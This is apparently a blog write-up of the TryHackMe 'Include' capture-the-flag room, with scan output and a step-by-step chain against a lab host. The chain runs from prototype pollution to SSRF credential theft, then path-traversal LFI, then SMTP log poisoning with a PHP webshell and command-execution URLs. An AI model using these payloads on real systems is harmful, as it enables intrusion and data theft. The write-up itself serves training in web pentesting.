Difficulty: Medium
Key Skills: SSRF, Prototype Pollution, LFI, Log Poisoning.
Platform: TryHackMe
Challenge: https://tryhackme.com/room/include
Overview #
This challenge is an initial test to evaluate your capabilities in web pentesting, particularly for server-side attacks
“Even if it’s not accessible from the browser, can you still find a way to capture the flags and sneak into the secret admin panel?”
Reconnaissance #
Port Scanning #
The first order of business is always mapping the attack surface. I used RustScan to enumerate open ports and services on the target.
┌──(parallels㉿Kali)-[~/targets/include]
└─$ rustscan -a 10.82.169.151 -- -A -oN scan.txt
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
With RustScan, I scan ports so fast, even my firewall gets whiplash 💨
[~] The config file is expected to be at "/home/parallels/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.82.169.151:22
Open 10.82.169.151:25
Open 10.82.169.151:110
Open 10.82.169.151:143
Open 10.82.169.151:993
Open 10.82.169.151:995
Open 10.82.169.151:4000
Open 10.82.169.151:50000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A -oN scan.txt" on ip 10.82.169.151
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-10 12:00 -0500
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp syn-ack ttl 62 Postfix smtpd
|_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
110/tcp open pop3 syn-ack ttl 62 Dovecot pop3d
|_pop3-capabilities: TOP SASL AUTH-RESP-CODE CAPA STLS PIPELINING UIDL RESP-CODES
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
143/tcp open imap syn-ack ttl 62 Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more ENABLE post-login have capabilities IDLE LOGIN-REFERRALS listed IMAP4rev1 Pre-login OK LOGINDISABLEDA0001 SASL-IR ID LITERAL+ STARTTLS
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
993/tcp open ssl/imap syn-ack ttl 62 Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
|_imap-capabilities: more ENABLE post-login have capabilities IDLE AUTH=PLAIN listed IMAP4rev1 Pre-login OK SASL-IR AUTH=LOGINA0001 LOGIN-REFERRALS ID LITERAL+
995/tcp open ssl/pop3 syn-ack ttl 62 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
|_pop3-capabilities: TOP SASL(PLAIN LOGIN) USER CAPA AUTH-RESP-CODE PIPELINING UIDL RESP-CODES
4000/tcp open http syn-ack ttl 62 Node.js (Express middleware)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Sign In
50000/tcp open http syn-ack ttl 62 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: System Monitoring Portal
Service Info: Host: mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernelThis is quite a spread. The key takeaways from the scan:
- Mail infrastructure on ports 25 (SMTP), 110 (POP3), 143 (IMAP), and their SSL counterparts. The hostname
mail.filepath.labconfirms this is a mail server. This will become very relevant later. - Two HTTP servers: a Node.js/Express app on port 4000 and an Apache/PHP app on port 50000.
- SSH on port 22, which could be useful once we have credentials.
With two web applications to explore, I started with the Apache server on port 50000.
Enumerating The SysMon App #
Navigating to port 50000 in the browser revealed a Sysmon site with a restricted login page.

Clicking “Login” brought up a standard PHP login form.

I tried the obvious admin:admin no luck. Without valid credentials, I moved on to directory enumeration.
Directory Bruteforcing #
I ran dirsearch against port 50000 to discover hidden paths and files.

The key findings here were:
/uploads/- a directory that could indicate file upload functionality/templates/- possibly template files used by the applicationapi.php- an API endpoint worth investigating later
With the SysMon app locked behind authentication and no obvious way in yet, I pivoted to the second web server on port 4000.
Enumerating The Review App #
Running dirsearch against port 4000, looks like its just a simple page with a login form.

Visiting the application in a browser, I was greeted with a login form that helpfully suggests default credentials: guest/guest.

Logging in with guest:guest dropped me into a basic user dashboard.

Exploitation: Prototype Pollution to Admin #
Discovering the Profile Update Mechanism #
Clicking “View Profile” on the guest account revealed an interesting feature. A form that lets you submit data as key/value pairs under “Friend Details” and “Recommended Activity.”

I tested this with dummy data (asd, asd) and observed how the application stored it.

Looking at the profile structure, I noticed a field called isAdmin set to false. If the application uses a merge or assign operation to update user profiles, it might be vulnerable to prototype pollution, which is a technique where you inject properties into an object by exploiting how JavaScript handles property assignment.
Escalating to Admin #
My first attempt was to type isAdmin: true directly into the “Recommended Activity” text box.

After submitting, the result wasn’t what I wanted, it was stored as a nested key isAdmin: true: "" rather than updating the actual isAdmin property.

The fix was simple: treat the two input fields as a key/value pair. I put isAdmin in the first box (activity type) and true in the second box (activity value).

After clicking “Recommend Activity,” the isAdmin property was successfully overwritten to true.

Immediately, a new “API” menu item appeared in the navigation bar, which confirmied the privilege escalation worked.

SSRF to Credential Extraction #
The API Dashboard #
Clicking the new “API” link navigated to /admin/api, revealing an API documentation dashboard.

The dashboard documented two internal API endpoints:
Internal API:
GET http://127.0.0.1:5000/internal-api HTTP/1.1
Host: 127.0.0.1:5000
Response:
{
"secretKey": "superSecretKey123",
"confidentialInfo": "This is very confidential."
}Get Admins API:
GET http://127.0.0.1:5000/getAllAdmins101099991 HTTP/1.1
Host: 127.0.0.1:5000
Response:
{
"ReviewAppUsername": "admin",
"ReviewAppPassword": "xxxxxx",
"SysMonAppUsername": "administrator",
"SysMonAppPassword": "xxxxxxxxx",
}Both endpoints are bound to 127.0.0.1:5000 meaning they’re only accessible from the server itself, This is a classic setup for Server-Side Request Forgery (SSRF).
The Settings Page #
The admin escalation also revealed a Settings page with a URL fetch feature essentially letting us make HTTP requests from the server.

This is the SSRF vector. I pointed it at the internal admin credentials endpoint:
http://127.0.0.1:5000/getAllAdmins101099991
The server returned a Base64-encoded response.

Decoding the Credentials #
I dropped the Base64 string into CyberChef to decode it.

The decoded JSON contained credentials for both applications:
{
"ReviewAppUsername": "admin",
"ReviewAppPassword": "admin@!!!",
"SysMonAppUsername": "administrator",
"SysMonAppPassword": "S$9$qk6d#**LQU"
}Flag 1: SysMon App Login #
With the SysMon credentials in hand (administrator / S$9$qk6d#**LQU), I logged into the System Monitoring Portal on port 50000.

Flag 1 captured! This answered the challenge question: “What is the flag value after logging in to the SysMon app?”
Working Toward Flag 2 #
The second flag required finding “the content of the hidden text file in /var/www/html” which meant I needed RCE on the server to print the directories contents.
Testing Review App Admin Credentials #
I first tried the Review App admin credentials (admin / admin@!!!) against the SysMon login, but they didn’t work there.

Discovering the LFI Vector #
Back on the SysMon dashboard, I noticed the administrator’s profile picture was loaded as an actual image file. Right clicking and opening it in a new tab revealed the URL pattern:
/profile.php?img=<filename>
The img parameter is a classic LFI entry point, if the application doesn’t properly sanitize this input, we can use path traversal to read arbitrary files on the server.
Fuzzing for LFI Payloads #
To confirm the vulnerability and find a working bypass for any filters in place, I used Caido to fuzz the img parameter with a well known LFI wordlist.
I captured the request, sent it to Caido’s Automate feature, highlighted the img parameter value as the injection point, and loaded the wordlist:
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
Sorting results by response length quickly revealed multiple successful payloads that bypassed the application’s path traversal filtering.

LFI confirmed, but reading files alone won’t give us the flag filename. We need RCE.
Exploitation: SMTP Log Poisoning to RCE #
note: The tryhackme connection dropped which is why you might notice the change of IP
With confirmed LFI and a mail server (SMTP on port 25) running on the same box, the attack path was crystal clear: SMTP log poisoning.
The idea is straightforward:
- Send an email via SMTP with a PHP webshell injected into the
MAIL FROMfield - The mail server logs this address to
/var/log/mail.log - Use the LFI vulnerability to include the poisoned log file
- The PHP code in the log gets executed by the server
Injecting the Payload #
I connected to the SMTP server and sent a crafted email with a PHP webshell in the MAIL FROM header:
mail from: <?php system($_GET['cmd']);?>
Confirming RCE #
With the payload planted in the mail log, I crafted a URL combining the LFI traversal payload with a command parameter:
http://10.80.153.226:50000/profile.php?img=...%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F/var/log/mail.log&cmd=idThe server responded with the output of the id command. RCE achieved!

Flag 2: Reading the Hidden File #
Now it was just a matter of finding and reading the hidden file. First, I listed the contents of /var/www/html:
http://10.80.153.226:50000/profile.php?img=...%2F%2F....%2F%2F....%2F%2F...%2F%2F/var/log/mail.log&cmd=ls /var/www/html
This revealed a file with a hashed name: 505eb0fb8a9f32853b4d955e1f9123ea.txt. I read it with cat:
http://10.80.153.226:50000/profile.php?img=...%2F%2F....%2F%2F....%2F%2F...%2F%2F/var/log/mail.log&cmd=cat%20/var/www/html/505eb0fb8a9f32853b4d955e1f9123ea.txt
Flag 2 captured!
Key Takeaways #
-
Prototype Pollution is underrated. The ability to overwrite object properties by manipulating key/values is a very powerful attack vector in Node.js applications. Always look for forms or APIs that accept arbitrary key/value data and merge it into existing objects.
-
SSRF unlocks internal services. APIs bound to
127.0.0.1are invisible to external scanners, but if the application offers any kind of URL fetching or proxy feature, those internal endpoints become reachable. -
LFI + Log Poisoning = RCE. When you find LFI but can’t upload files directly, check for writable log files. Mail logs, Apache access logs, and SSH auth logs are all common targets.
-
Enumerate everything. This challenge required chaining four distinct vulnerabilities across two different web applications and a mail server. No single finding would have been enough, success came from thoroughly mapping the attack surface and connecting the dots.
-
Don’t overlook default credentials. The
guest:guestlogin on the Review App was the initial foothold that made everything else possible. Always try common default credentials before moving on to more complex attacks.
Challenge complete.